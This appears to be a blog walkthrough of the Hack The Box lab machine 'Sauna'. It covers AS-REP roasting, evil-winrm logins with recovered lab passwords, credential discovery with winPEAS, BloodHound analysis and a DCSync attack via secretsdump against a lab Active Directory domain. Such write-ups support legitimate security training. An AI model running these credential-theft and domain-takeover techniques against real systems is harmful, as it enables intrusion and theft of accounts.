Hack The Box - Sauna

https://raw.githubusercontent.com/ghostbyt3/ghostbyt3.github.io/master/public/static/images/htb-sauna/Untitled.png

Sauna is an easy AD machine, getting initial is by gathering usernames from the web and doing AS-REP Roasting, we can get a user's hash. And winPEAS reveals svc_loanmgr's password in plain text and Getting System is by doing DC Sync Attack.

Let's Begin with our Initial Nmap Scan.

HTTP Enumeration

It's a normal webpage, Let's see what we get here.

https://raw.githubusercontent.com/ghostbyt3/ghostbyt3.github.io/master/public/static/images/htb-sauna/Untitled%201.png

At the /about.html page, I found some of the Team members name. Maybe we can save it for users.

LDAP Enumeration

Since port 389 is open on this box, We can use a nmap script for enumeration

root@w0lf:~/CTF/HTB/Boxes/Sauna#  nmap -p 389 --script ldap-search 10.10.10.175
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-10 12:19 IST
Nmap scan report for sauna.htb (10.10.10.175)
Host is up (0.23s latency).

The only thing I got here is a new domain name EGOTISTICAL-BANK.local/

AS-Rep Roasting

Since port 88 is open, we can move on to the kerberosting technique. But to do Kerberosting technique we need credentials on the domain to authenticate. But we have a chance if Do not require Kerberos preauthentication is True. There is a tool called GetNPUsers.py from Impackets.

This is the tool we looking for, let’s give a try.

https://raw.githubusercontent.com/ghostbyt3/ghostbyt3.github.io/master/public/static/images/htb-forest/296181db8d754f9989a8d896078908ba.png

I created a wordlist by using the Team Members Names, With their first name as Initial and also separated them with a period.

root@w0lf:~/CTF/HTB/Boxes/Sauna# cat names.txt 
Fergus.Smith 
FergusSmith

SCoins
Shaun.Coins
HugoBear

HBear
BowieTaylor
Bowie.Taylor
BTaylor
SteveKerb

Time to run GetNPUsers with the wordlist we just created and I chose the hash format as john which is easy to crack.

Getting User Shell

We know port 5985 is open, so I used evil-winrm to login.

root@w0lf:~/CTF/HTB/Boxes/Sauna# evil-winrm -i 10.10.10.175 -u FSmith -p 'Thestrokes23' 

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\FSmith\Documents> 

I uploaded winPEAS enumeration Script and it reveals the password for user svc_loanmgr

[+] Looking for AutoLogon credentials(T1012)
    Some AutoLogon credentials were found!!
    DefaultDomainName             :  EGOTISTICALBANK
    DefaultUserName               :  EGOTISTICALBANK\svc_loanmanager
    DefaultPassword               :  Moneymakestheworldgoround!

Using the password we got from winPEAS, I logged in as user svc-loanmgr and the name is different in winPEAS, to get the real name we can run net user which will show us all the users in the machine.

root@w0lf:~/CTF/HTB/Boxes/Sauna# evil-winrm -i 10.10.10.175 -u svc_loanmgr -p 'Moneymakestheworldgoround!'

Privilege Escalation

Since its AD machine, I decided to check this user in BloodHound. I gonna run Sharphound to collect all the data and copy it to my machine so I can import it to BloodHound

Evil-WinRM makes our work easier to upload a file and download it to our machine.

Once uploaded I executed it.

https://raw.githubusercontent.com/ghostbyt3/ghostbyt3.github.io/master/public/static/images/htb-sauna/Untitled%203.png

./Sharphound.exe -c all

-c CollectionMethods

Drag the .zip file to the BloodHound. Once its extracted successfully you get a message.

https://raw.githubusercontent.com/ghostbyt3/ghostbyt3.github.io/master/public/static/images/htb-sauna/Untitled%204.png

Now Queries -> Find Principals with DCSync Rights

https://raw.githubusercontent.com/ghostbyt3/ghostbyt3.github.io/master/public/static/images/htb-sauna/gg.png

And BloodHound reveals that the User svc_loanmgr has the permission on GetchangesAll

On Right clicking mouse and ?help option it gives us info about the how to abuse it.

https://raw.githubusercontent.com/ghostbyt3/ghostbyt3.github.io/master/public/static/images/htb-sauna/Untitled%205.png

It told us to do DCSync Attack, to do that, there is plenty of ways but I gonna use secretsdump.py from Impackets.

By running that script we got Administrator NTML hash, we can use that to login.
